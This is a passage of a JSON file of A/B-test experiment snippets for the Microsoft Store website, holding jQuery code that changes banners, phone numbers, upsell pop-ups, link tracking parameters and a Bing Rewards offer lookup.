    '].join('\\n');\n\n jQuery('.buyBtn_AddtoCart').on('click', function (e) {\n e.preventDefault();\n \n\t\tjQuery.magnificPopup.open({\n\t\t\ttype: 'inline',\n\t\t\tmodal: true,\n\t\t\titems: [{\n\t\t\t\ttype: 'inline',\n\t\t\t\tsrc: expModal\n\t\t\t}],\n callbacks: {\n\t\t\t\topen: function () {\n\t\t\t\t\t$('.exp-no').attr('href', 'http://' + window.location.host + '/store/msusa/en_US/buy/productID.' + $('.variation-container .option-list li.active').data('pid') + '/ThemeID.33363200/Currency.USD/mktp.US');\n \n $('.exp-yes').attr('href', returnAddToCartURL($('.variation-container .option-list li.active').data('pid').toString()));\n\t\t\t\t}\n },\n\t\t\tremovalDelay: 300,\n\t\t\tmainClass: 'mfp-enable-zoom exp-modal-addon'\n\n\t\t});\n\t});"},"2421430447":{"code":"$('html').addClass('exp-phone 3.31');\n\n$('.product-additional-info-main').prepend('
    Need help deciding? Call us at 877-345-2661
    ');\n\njQuery( document ).ajaxComplete(function() {\n jQuery(\"#ms_PDP_Additional_Info > div:eq(0) > p:eq(0)\").css({\"display\":\"none\", \"visibility\":\"\"});\n if(!$('.product-additional-info-main .exp-phone').length){\n \t$('.product-additional-info-main').prepend('
    Need help deciding? Call us at 855-843-9614
    ');\n };\n \n $('#ms_PDP_Buy_Button_Promo_Text .shipping-return-text').remove();\n jQuery(\".grid-container > .product-footer > p:eq(1)\").css({\"display\":\"none\", \"visibility\":\"\"});\n});\n$(\"strong > a\").html(\"855-843-9614\");"},"2100500118":{"code":"$('.dr_category_67154000 .category-hero').find('.overlay h2').text('Exclusive offer for Xbox Rewards members');\n$('.dr_category_67154000 .category-hero').find('.overlay h3').text('Get 15,000 reward credits for each Xbox game you pre-order this holiday season*');\n\n$('.dr_category_67154000 .category-hero').find('.overlay').after('
    *Xbox Live Rewards members qualifying for the Offer will not also qualify for the $10 gift card offer. View complete Terms and Conditions and details.
    ');\n$(\".category-offer > img\").attr({\"src\":\"https://dri2.img.digitalrivercontent.net/Storefront/Site/msca/images/promo/MSCA-List-Page-Hero-Xbox-One-E3.jpg\"});\n$(\".disclaimer > a\").attr({\"target\":\"_blank\"});"},"2180860570":{"code":"$('html').addClass('exp-phone 3.31');\n\n$('.product-additional-info-main').prepend('
    Need help deciding? Call us at 877-345-2661
    ');\n\njQuery( document ).ajaxComplete(function() {\n jQuery(\"#ms_PDP_Additional_Info > div:eq(0) > p:eq(0)\").css({\"display\":\"none\", \"visibility\":\"\"});\n if(!$('.product-additional-info-main .exp-phone').length){\n \t$('.product-additional-info-main').prepend('
    Need help deciding? Call us at 877-345-2661
    ');\n };\n \n $('#ms_PDP_Buy_Button_Promo_Text .shipping-return-text').remove();\n jQuery(\".grid-container > .product-footer > p:eq(1)\").css({\"display\":\"none\", \"visibility\":\"\"});\n});"},"2454580079":{"code":"$('body').addClass('exp-sticky-header');\n\n//Content changes\n$('.exp-comparetable .table-head:eq(0)').html('

    For up to 5 PCs or
    Macs and 5 tablets

    Subscription
    ');\n\n$('.exp-comparetable .table-head:eq(1)').html('

    For 1 PC or 1 Mac

    One-time purchase');\n\n$('.exp-comparetable tr.installation').insertBefore('.exp-comparetable tr.apps-included');\n$(\"tbody > tr:eq(7) > td:eq(0) > div:eq(0)\").html(\"Microsoft support
    Get help by phone or chat at no extra charge\");\n\n/* Add ICID tracking to links */\n$(\".exp-buybox > td:eq(0) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.286395000?icid=Compare_Home_V2\"});\n$(\".exp-buybox > td:eq(1) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.297833200?icid=Compare_Personal_V2\"});\n$(\".exp-buybox > td:eq(2) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.259179500?icid=Compare_HS_V2\"});\n$(\".exp-buybox > td:eq(3) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.259321600?icid=Compare_HB_V2\"});\n$(\".exp-buybox > td:eq(4) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/Office-for-Mac-Home-amp-Student-2011/productID.253736200?icid=Compare_MacHS_V2\"});\n$(\".exp-buybox > td:eq(5) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/Office-for-Mac-Home-amp-Business-2011/productID.253736100?icid=Compare_MacHB_V2\"});\n$(\".exp-buybox > td:eq(0) > a:eq(1)\").replaceWith(\"
    Buy now
    \");\n$(\".exp-buybox > td:eq(1) > a:eq(1)\").replaceWith(\"
    Buy now
    \");\n$(\".exp-buybox > td:eq(2) > a:eq(1)\").replaceWith(\"
    Buy now
    \");\n$(\".exp-buybox > td:eq(3) > a:eq(1)\").replaceWith(\"
    Buy now
    \");\n$(\".exp-buybox > td:eq(4) > a:eq(1)\").replaceWith(\"
    Buy now
    \");\n$(\".exp-buybox > td:eq(5) > a:eq(1)\").replaceWith(\"
    Buy now
    \");\n\n//Sticky Nav\nvar eTop = jQuery('.exp-comparetable .exp-buybox').offset().top;\n\njQuery(window).bind('scroll.scrolldirection',function(event){\n\t(function() {\n\t\tif(eTop - jQuery(window).scrollTop() < 10){\n\t\t\tjQuery('.office-compare .exp-comparetable, .exp-sticky-wrapper').addClass('sticky');\n\t\t}\n\t\telse{\n\t\t\tjQuery('.office-compare .exp-comparetable, .exp-sticky-wrapper').removeClass('sticky');\n\t\t};\n\t})();\n});\n\n$('#body').prepend(['
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'

    Choose the version that\\'s right for you

    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'

    Office 365 Home

    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'

    Office 365 Personal

    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'

    Office Home & Student 2013

    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'

    Office Home & Business 2013

    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'

    Office for Mac Home & Student 2011

    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'

    Office for Mac Home & Business 2011

    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t'
    '].join('\\n'));"},"2221501084":{"code":"var sku = \"6NU-00001\";\n\n function getRewardsUserInfo(callback) {\n var getUserInfoUrl = '//www.bing.com/msrewards/api/v1/getuserinfo',\n userId = getUserId(),\n request = {\n PartnerId: 'MSStore',\n UserId: userId,\n Channel: 'MSStore',\n Options: {\n FetchOffers: true\n }\n };\n\n crossDomainAjax(getUserInfoUrl, request, callback);\n }\n\n function getUserId() {\n var aCookies;\n if (tryGetCookie('ANON')) {\n aCookies = tryGetCookie('ANON').split('&');\n\n for (var i = 0; i < aCookies.length; i++) {\n var aCookie = aCookies[i];\n if (aCookie.charAt(0) === 'A' && aCookie.charAt(1) === '=') {\n return aCookie.substring(2);\n }\n }\n }\n }\n\n function crossDomainAjax(url, requestObj, successCallback) {\n if ('XDomainRequest' in window && window.XDomainRequest !== null) {\n var xdr = new XDomainRequest();\n var rewardsCookie = tryGetCookie(rewardsCookieName);\n\n xdr.open('POST', url);\n xdr.onload = function () {\n var dom = new ActiveXObject('Microsoft.XMLDOM'),\n response;\n\n dom.async = false;\n\n response = jQuery.parseJSON(xdr.responseText);\n successCallback(response);\n };\n xdr.onprogress = function () {\n // Do not remove\n };\n xdr.ontimeout = function () {\n // Failure\n\n };\n xdr.onerror = function () {\n // Failure\n };\n try {\n xdr.send(JSON.stringify(requestObj));\n } catch (e) {\n // Failure\n }\n } else if (navigator.userAgent.indexOf('MSIE') != -1 && parseInt(navigator.userAgent.match(/MSIE ([\\d.]+)/)[1], 10) < 8) {\n // Failure\n return false;\n } else {\n jQuery.post(url, JSON.stringify(requestObj), successCallback, 'json').fail(function () {\n // Failure\n });\n }\n }\n\n function omnitureTracking(trackingEvent) {\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, 1);\n }, 0);\n }\n\n function verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count) {\n if (window.t_omni_utils && (typeof window.t_omni_utils.omniModTracking == \"function\")) {\n window.t_omni_utils.omniModTracking(true, 1, \"Rewards\", \"\", trackingEvent, trackingEvent, '');\n } else {\n if (count <= 0) {\n return;\n }\n count--;\n\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count);\n }, 500);\n }\n }\n\n function tryGetCookie(name) {\n name += \"=\";\n var allCookies = document.cookie.split(';');\n for (var i = 0; i < allCookies.length; i++) {\n var cookie = jQuery.trim(allCookies[i]);\n\n if (cookie.indexOf(name) === 0) {\n return cookie.substring(name.length, cookie.length);\n }\n }\n\n return null;\n }\n\n function loadCreditsOffer(user) {\n var offerTitle;\n var offerDescription;\n\n if (user.Offers.length > 0) {\n for (var i = 0; i < user.Offers.length; i++) {\n var obj = user.Offers[i];\n if (obj.Attributes.MSStoreSku) {\n if (obj.Attributes.MSStoreSku == sku) {\n offerTitle = obj.Title;\n offerDescription = obj.Description;\n\n displayOffer(offerTitle, offerDescription);\n }\n }\n }\n }\n }\n\n function displayOffer(title, desc) {\n var html = \"
    \\n \\n

    {0} {1}
    Not a member? Sign-up is free. Learn more >

    \\n
    \";\n html = html.replace(\"{0}\", title);\n html = html.replace(\"{1}\", desc);\n //jQuery(\"#product-footer .grid-container\").append(\"

    1 Valid for Bing Rewards members who order a qualifying Microsoft Store online product between November 4, 2014 and November 21, 2014, while supplies last. Limit 1 per customer. After your order ships, your credits wil be deposited into your Bing Rewards account within 5 days. Void where prohibited or restricted by law.

    \");\n\n\n if(jQuery(\"#physicalxboxoneenglish .buySpan_AddtoCart\").length > 0){\n\t\t\t\t\t\tjQuery(\"#physicalxboxoneenglish .buySpan_AddtoCart\").append(html);\n }\n else{\n jQuery(\".buySpan_AddtoCart\").append(html);\n }\n \n var rewardsTabHtml = \"
    \\n
    \\n

    Rewards

    \\n
    \\n\\n\\n
    \\n\\n \\\"Any\\n
    \\n\\n
    \\n\\n
    \\n

    It's free to join

    \\n

    Sign up for Bing Rewards to get rewarded by the Microsoft Store online and Bing. Earn Bing Rewards credits when you purchase qualifying products on Microsoft online store, search on Bing through daily offers. Redeem your credits for gift cards, Microsoft Store online discounts, Microsoft services and more.

    \\n
    \\n
    \\n
    \\n\\n
    \\n\\n
    \\n
    \\n \\\"Image\\n\\n

    How do I sign up?

    \\n

    On the cart page during check-out, you can enroll for free. Your rewards account will be associated with your Microsoft Account.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    How do I get the Bing Rewards credits?

    \\n

    For qualifying products, bonus credits are awarded with purchase. For qualifying products, Bing Rewards credits are awarded with purchase. After your product ships, your credits will be deposited into your Bing Rewards account within 5 days.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    What can credits be used for?

    \\n

    Credits can be redeemed for things like 100GB of OneDrive storage (500 credits), Starbucks gift card (525 credits), 1 month Xbox Live Gold membership (699 credits).

    \\n
    \\n
    \\n
    \\n
    \\n\\n
    \";\n \n if(jQuery(\".product-tab-content\").length == 1){\n jQuery(\".product-tab-content\").append(rewardsTabHtml);\n }\n else{\n jQuery(\".product-tab-content\").eq(1).append(rewardsTabHtml);\n }\n }\n\n\n\n getRewardsUserInfo(loadCreditsOffer);"},"2176260256":{"code":"$(\".grid > h1\").wrapInner(\"\");"},"2132661411":{},"2622230181":{},"2448400550":{"code":"$('#_GUARANTEE_Kicker').insertAfter($('.pcf-bottom-content .pcf-footer'))"},"1260595880":{},"2522300268":{"code":"$('body').addClass('exp-swapbuybox');\n\n$('.new-pdp-hero .media-container .pdp-social-media').remove();"},"2375390378":{"code":"$(function(){\n if($('a[pid-ref=275549300] .badge').length > 0){\n $('a[pid-ref=275549300] .badge').text('2 PCs/Macs/iPads');\n }\n else{\n $('a[pid-ref=275549300] .image-container > div').before('2 PCs/Macs/iPads');\n }\n});"},"2466990282":{},"2361780765":{"code":"var showExpTimer = false; //Display the countdown timer -- accepts true or false\nvar targetDate = \"September 14, 2014 18:00:00 GMT-0700\"; //Date timer should reach 0\n\nvar bannerIsLink = false; //Is the banner clickable -- accepts true or false.\n\nvar bannerText = \"Free with any online purchase: Up to 100 Minutes of Skype calls to phones.\" + (showExpTimer ? \"\" : ' ') + \"\"; //Displays as the text of the banner\nvar bannerURL = 'http://www.microsoftstore.com'; //Displays as the URL of the banner\n\n\n//Don't edit below this line.\n$('body').addClass('experiment');\n\nvar bannerCopy = function(){\n var elm = '';\n \n if(bannerIsLink){\n elm = ['',\n '
    ' + bannerText + '
    ',\n '
    '].join('\\n');\n }\n else{\n elm = ['',\n '
    ' + bannerText + '
    ',\n '
    '].join('\\n');\n }\n return elm;\n};\n\nvar htmlTemplate = ['
    ',\n '
    ',\n bannerCopy(),\n '
    ',\n '
    '].join('\\n');\n\n\n$('header.slim-header').before(htmlTemplate);\n\n$.extend({\n\tdateDiff: function (date1, date2) { // if unit argument is omitted, default is milliseconds\n\t\tunit = arguments[2] || \"ms\";\n\t\tvar _units = {\n\t\t\td: 86400000, // 1000 * 60 * 60 * 24 \n\t\t\th: 3600000, // 1000 * 60 * 60\n\t\t\tm: 60000, // 1000 * 60\n\t\t\ts: 1000,\n\t\t\tms: 1\n\t\t};\n\t\tvar _val = _units[unit] || 1;\n\t\treturn Math.floor((date2 - date1) / parseInt(_val));\n\t}\n});\n\n\t\nfunction countdownTimer(date){\n\tvar targetDate = new Date(date).getTime(),\n\t currentDate = new Date().getTime(),\n\t timeDiff = $.dateDiff(currentDate, targetDate),\n \t remainingTime = $.dateDiff(currentDate, targetDate, 's'),\n\t timerHTML = $('.exp-countdown .timer');\n\t\n if(timeDiff > 0){\n \n var _days = Math.floor(remainingTime / 86400);\n remainingTime = (remainingTime % 86400);\n \n var _hours = Math.floor(remainingTime / 3600);\n remainingTime = (remainingTime % 3600);\n \n var _minutes = Math.floor(remainingTime / 60)\n remainingTime = (remainingTime % 60);\n \n var _seconds = remainingTime;\n \n finalTimer = '';\n \n if(_days > 0){\n finalTimer += _days + ' day' + (_days > 1 ? 's' : '') + ', ';\n }\n \n if(_hours > 0){\n finalTimer += _hours + ' hour' + (_hours > 1 ? 's' : '') + ', ';\n }\t\n \n if(_minutes > 0){\n finalTimer += _minutes + ' minute' + (_minutes > 1 ? 's' : '') + ', ';\n }\n \n if(_seconds > 0){\n finalTimer += _seconds + ' second' + (_seconds > 1 ? 's' : '');\n }\n else{\n finalTimer += _seconds + ' seconds';\n }\n \n timerHTML.html(finalTimer);\n }\n else{\n $('.exp-countdown').css({display:'none'});\n }\n};\n\nif(showExpTimer){\n countdownTimer(targetDate);\n \n setInterval(function(){\n countdownTimer(targetDate);\n }, 1000);\n};"},"2319703311":{"code":"$(function(){\n $('body').addClass('exp115HiddenCandyRack');\n});"},"2227312308":{"code":"$(function (){$(\".links\").replaceWith(\"\");\nvar n = 0;\nif($('.full-page-splash').length == 2){\n\tn = 1;\n}\n$('.full-page-splash:eq(' + n + ')').before('
    ');\n$('.category-products-wrapper').remove();\n$('.full-page-splash:eq(' + n + ')').after('
    ');\n});"},"2128621237":{},"2594590390":{},"2432920759":{"code":"$(document).ready(function(){\n $('body').addClass('expDwnBtnABN_var2');\n if (typeof _TM !== 'undefined' && _TM.pids.length !== 0) {\n if($.inArray('259281600', _TM.pids) !== -1){\n $('#dr_ThankYou').find('.complete-order-item').each( function () {\n if($(this).find('.title p').text().indexOf('Office Home & Student') !== -1 ){\n $(this).find('.info .download.box').text('Install Office');\n $(this).find('.info .download.box').attr('title','Install Office');\n $(this).find('.info .download.box').addClass('optiExpBtn'); \n }\n });\n }\n }\n});"},"2021890233":{},"2439850320":{"code":"$('.exp-comparetable .table-head:eq(0)').html('

    Subscription

     
    ');\n\n$('.exp-comparetable .table-head:eq(1)').html('

    One-time purchase

    ');\n\n$('.exp-comparetable tr.installation').insertBefore('.exp-comparetable tr.apps-included');\n$(\"tbody > tr:eq(7) > td:eq(0) > div:eq(0) > strong:eq(0)\").html(\"Microsoft support\");\n$(\"tbody > tr:eq(7) > td:eq(0) > div:eq(0)\").html(\"Microsoft support
    Get help by phone or chat at no extra charge\");\n\n//Update URLs\nfunction updateAnchorTags(index, param){\n $('.exp-comparetable .exp-buybox td:eq(' + index + ') a').each(function(){\n $(this).attr('href', $(this).attr('href') + param);\n });\n};\n\nvar linkIndex = 0,\n linkArray = ['?icid=Compare_Home_OptV1','?icid=Compare_Personal_OptV1','?icid=Compare_H&S_OptV1','?icid=Compare_H&B_OptV1','?icid=Compare_MacH&S_OptV1','?icid=Compare_MacH&B_OptV1'];\n\n$('.exp-comparetable .exp-buybox td').each(function(){\n updateAnchorTags(linkIndex, linkArray[linkIndex]);\t\n linkIndex++;\n});"},"2497390269":{},"2414620353":{"code":"$('.exp-comparetable .table-head:eq(0)').html('

    For up to 5 PCs or
    Macs and 5 tablets

    Subscription
    ');\n\n$('.exp-comparetable .table-head:eq(1)').html('

    For 1 PC or 1 Mac

    One-time purchase');\n\n$('.exp-comparetable tr.installation').insertBefore('.exp-comparetable tr.apps-included');\n$(\"tbody > tr:eq(7) > td:eq(0) > div:eq(0)\").html(\"Microsoft support
    Get help by phone or chat at no extra charge\");\n\n//Update URLs\nfunction updateAnchorTags(index, param){\n $('.exp-comparetable .exp-buybox td:eq(' + index + ') a').each(function(){\n $(this).attr('href', $(this).attr('href') + param);\n });\n};\n\nvar linkIndex = 0,\n linkArray = ['?icid=Compare_Home_OptV1','?icid=Compare_Personal_OptV1','?icid=Compare_H&S_OptV1','?icid=Compare_H&B_OptV1','?icid=Compare_MacH&S_OptV1','?icid=Compare_MacH&B_OptV1'];\n\n$('.exp-comparetable .exp-buybox td').each(function(){\n updateAnchorTags(linkIndex, linkArray[linkIndex]);\t\n linkIndex++;\n});"},"2308360386":{},"2602300099":{"code":"/* _optimizely_evaluate=force */\ndocument.getElementsByTagName('html')[0].className += \" hide-chat\";\n/* _optimizely_evaluate=safe */"},"2471440068":{"code":"$(document).ready(function(){\n $('body').addClass('expDwnBtnABN_var3');\n if (typeof _TM !== 'undefined' && _TM.pids.length !== 0) {\n if($.inArray('259281600', _TM.pids) !== -1){\n $('#dr_ThankYou').find('.complete-order-item').each( function () {\n if($(this).find('.title p').text().indexOf('Office Home & Student') !== -1 ){\n $(this).find('.info .download.box').text('Download Office');\n $(this).find('.info .download.box').attr('title','Download Office');\n $(this).find('.info .download.box').addClass('optiExpBtn'); \n \n \n }\n });\n }\n }\n});"},"2434361029":{"code":"/* _optimizely_evaluate=force */\n$('html').addClass('experiment-addon');\n/* _optimizely_evaluate=safe */\n\n\tvar expModal = ['
    ',\n '
    ',\n '',\n '
    ',\n '
    ',\n '

    Only $29 more for Office and a tablet

    ',\n '

    For just $99, get the HP Stream 7 tablet that comes with 1 year of Office 365 that can also be installed on another PC.

    ',\n '',\n '
    ',\n '
    '].join('\\n');\n\n\nif($.inArray('297833200', _TM.baseids) != -1){\n\tjQuery.magnificPopup.open({\n\t\ttype: 'inline',\n\t\tmodal: true,\n\t\titems: [{\n\t\t\ttype: 'inline',\n\t\t\tsrc: expModal\n\t\t}],\n callbacks: {\n\t\t\topen: function () {\n\t\t\t\t\n\t\t\t}\n },\n\t\tremovalDelay: 300,\n\t\tmainClass: 'mfp-enable-zoom exp-modal-addon'\n\n\t});\n};\n\n\n/* Update Messaging For Tablet */\nvar itemIndex = $.inArray('308781500', _TM.baseids),\n\t\titemRow = $('.cart-item-container .cart-item:eq(' + itemIndex + ')');\n\n$('.info', itemRow).append('

    Includes Office 365 Personal 1 yr. Subscription.

    ');\n\n\n\n/* Events for Office 365 */\nfunction updateProductConfig(){\n var cartIndex = $.inArray('297833200', _TM.baseids),\n \t\tcartURL = $('.cart-item-container .cart-item:eq(' + cartIndex + ') .remove-prod').attr('href');\n \n\tvar request = jQuery.ajax({\n\t type: \"GET\",\n\t url: cartURL\n\t});\t\t\t\n\t\t\t\t\n\trequest.success(function(data, status){\n\t\t//Add new product to cart\n\t\twindow.location = 'http://www.microsoftstore.com/store/msusa/en_US/buy/productID.308781500/ThemeID.33363200/Currency.USD/mktp.US/nextAction.DisplayThreePgCheckoutShoppingCartPage';\n\t});\t\t\t\n};\t\n\njQuery('body').on('click.addtocart','.exp-modal-addon .exp-yes', function(){\n\tupdateProductConfig();\n \n $(this).closest('.actions').html('Updating cart...');\n});\n\njQuery('body').on('click.addtocart','.exp-modal-addon .exp-no', function(){\n\tjQuery.magnificPopup.close()\n});"},"2225380038":{},"2561430817":{},"2568270024":{},"2375000266":{},"2414700235":{},"2399720140":{"code":"$(function(){\n $('.full-page-splash:eq(0) .large-container div[data-picture] img[data-source-index=\"2\"]').attr('src', 'http://dri1.img.digitalrivercontent.net/Storefront/Site/msusa/images/promo/Office/en-US-Mod-D-Office-365-University-desktop.jpg');\n $('.full-page-splash:eq(0) .large-container div[data-picture] div[data-media=\"(min-width: 769px)\"]').attr('data-src', 'http://dri1.img.digitalrivercontent.net/Storefront/Site/msusa/images/promo/Office/en-US-Mod-D-Office-365-University-desktop.jpg'); \n});"},"2565920461":{},"2432520142":{},"2013750486":{},"2408600280":{},"2488910041":{"code":"$(\".top-categories .colspan-3 > div:eq(1) > div:eq(2) > a:eq(0) > img:eq(0)\").attr({\"src\":\"http://dri2.img.digitalrivercontent.net/Storefront/Site/msusa/images/promo/Sales/en-US-Sales-Spotlight-Chinese-NY-desktop.jpg\"});"},"2349571208":{},"2171970269":{},"2504160481":{"code":"$(function(){\n $('body').addClass('exp-office-upsell-141');\n if($('.option-list').length){\n $('.variation-container p:eq(0)').addClass('exp-hide-ctrl');\n }\n jQuery('a.buyBtn_AddtoCart.box.green').on('click', function(e){\n e.preventDefault();\n var expModal = ['
    ',\n '

    Save $20 on Office

    Buy Office 365 Home with this PC and save on a 1-year subscription

    ',\n '
    '].join('\\n');\n jQuery.magnificPopup.open({\n type: 'inline',\n modal: true,\n items: [{\n type: 'inline',\n src: expModal\n }],\n callbacks: {\n open: function () { \n var buyLink;\n if($('.option-list').length){\n buyLink = $('.buyBtn_AddtoCart', $('.btnSubmitSpinContainer').not('.hide-option')).attr('href');\n $('.exp-yes').attr('href', buyLink.substr(0, $('.buyBtn_AddtoCart', buyLink.indexOf('productID') + 10)) + $('.option-list li:eq(0)').data('pid') + buyLink.substr(buyLink.indexOf('productID') + 19));\n $('.exp-no').attr('href', buyLink.substr(0, $('.buyBtn_AddtoCart', buyLink.indexOf('productID') + 10)) + $('.option-list li:eq(1)').data('pid') + buyLink.substr(buyLink.indexOf('productID') + 19));\n }else{\n buyLink = $('.buyBtn_AddtoCart').attr('href');\n $('.exp-yes').attr('href', buyLink + 'productID.259761300/');\n $('.exp-no').attr('href', buyLink);\n }\n }\n },\n removalDelay: 300,\n mainClass: 'mfp-enable-zoom'\n });\n $('a[tabindex=\"1\"]').focus();\n });\n if($('.option-list').length){\n jQuery('.option-list li:eq(1) a').click();\n\t}\n});"},"2632610019":{},"1337111780":{"code":"/* _optimizely_evaluate=force */\n$('html').addClass('experiment-addon');\n/* _optimizely_evaluate=safe */\n\n\n//Real add to cart button\nvar expItem = jQuery('a.buyBtn_AddtoCart');\nvar expItemPlaceholderURL = 'http://' + window.location.host + expItem.attr('href');\nvar expItemVariationPID = jQuery('.variation-container .addon input[type=checkbox]').attr('bundleofferid');\nvar expOfferURL = (expItemVariationPID ? ('/OfferID.' + expItemVariationPID) : '');\n\n//Fake add to cart button\n$('.add-to-cart').prepend('Add to cart');\n\n\njQuery(document).ajaxComplete(function() {\n jQuery('html').addClass('experiment-addon-visible');\n \n if(jQuery('.buyBtn_outOfStock').is(':visible')){\n jQuery('html').addClass('experiment-addon-outofstock');\n };\n});\n\nfunction bindAfterOpen(){\n\n /*\n jQuery('.exp-modal-addon .column2 .accept').on('click.addtocart', function(e){\n e.preventDefault();\n \n if(jQuery('.variation-container .addon').length){\n jQuery('.variation-container .addon input[type=checkbox]').attr('checked', 'checked');\n };\n \n //Click hidden ATC after 250 delay\n setTimeout(function(){\n window.location = $(this).attr('href');\n }, 50);\n });\n */\n};\n\n\nvar expModal = ['
    ',\n '
    ',\n '',\n '
    ',\n '
    ',\n '

    Protect your purchase for only $199

    ',\n '

    Get 2-years of accidental damage protection—plus unlimited software support and training from Answer Desk.

    ',\n '',\n '
    ',\n '
    '].join('\\n');\n\n jQuery('.exp-modal').on('click', function (e) {\n\t\tjQuery.magnificPopup.open({\n\t\t\ttype: 'inline',\n\t\t\tmodal: true,\n\t\t\titems: [{\n\t\t\t\ttype: 'inline',\n\t\t\t\tsrc: expModal\n\t\t\t}],\n callbacks: {\n\t\t\t\topen: function () {\n\t\t\t\t\tbindAfterOpen();\n\t\t\t\t}\n },\n\t\t\tremovalDelay: 300,\n\t\t\tmainClass: 'mfp-enable-zoom exp-modal-addon'\n\n\t\t});\n\t});"},"2437420775":{"code":"/* Add ICID tracking to links */\n$(\".exp-buybox > td:eq(0) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.286395000?icid=Compare_Home\"});\n$(\".exp-buybox > td:eq(1) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.297833200?icid=Compare_Personal\"});\n$(\".exp-buybox > td:eq(2) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.259179500?icid=Compare_HS\"});\n$(\".exp-buybox > td:eq(3) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.259321600?icid=Compare_HB\"});\n$(\".exp-buybox > td:eq(4) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/Office-for-Mac-Home-amp-Student-2011/productID.253736200?icid=Compare_MacHS\"});\n$(\".exp-buybox > td:eq(5) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/Office-for-Mac-Home-amp-Business-2011/productID.253736100?icid=Compare_MacHB\"});\n$(\".exp-buybox > td:eq(0) > a:eq(1)\").replaceWith(\"
    Buy now
    \");\n$(\".exp-buybox > td:eq(1) > a:eq(1)\").replaceWith(\"
    Buy now
    \");\n$(\".exp-buybox > td:eq(2) > a:eq(1)\").replaceWith(\"
    Buy now
    \");\n$(\".exp-buybox > td:eq(3) > a:eq(1)\").replaceWith(\"
    Buy now
    \");\n$(\".exp-buybox > td:eq(4) > a:eq(1)\").replaceWith(\"
    Buy now
    \");\n$(\".exp-buybox > td:eq(5) > a:eq(1)\").replaceWith(\"
    Buy now
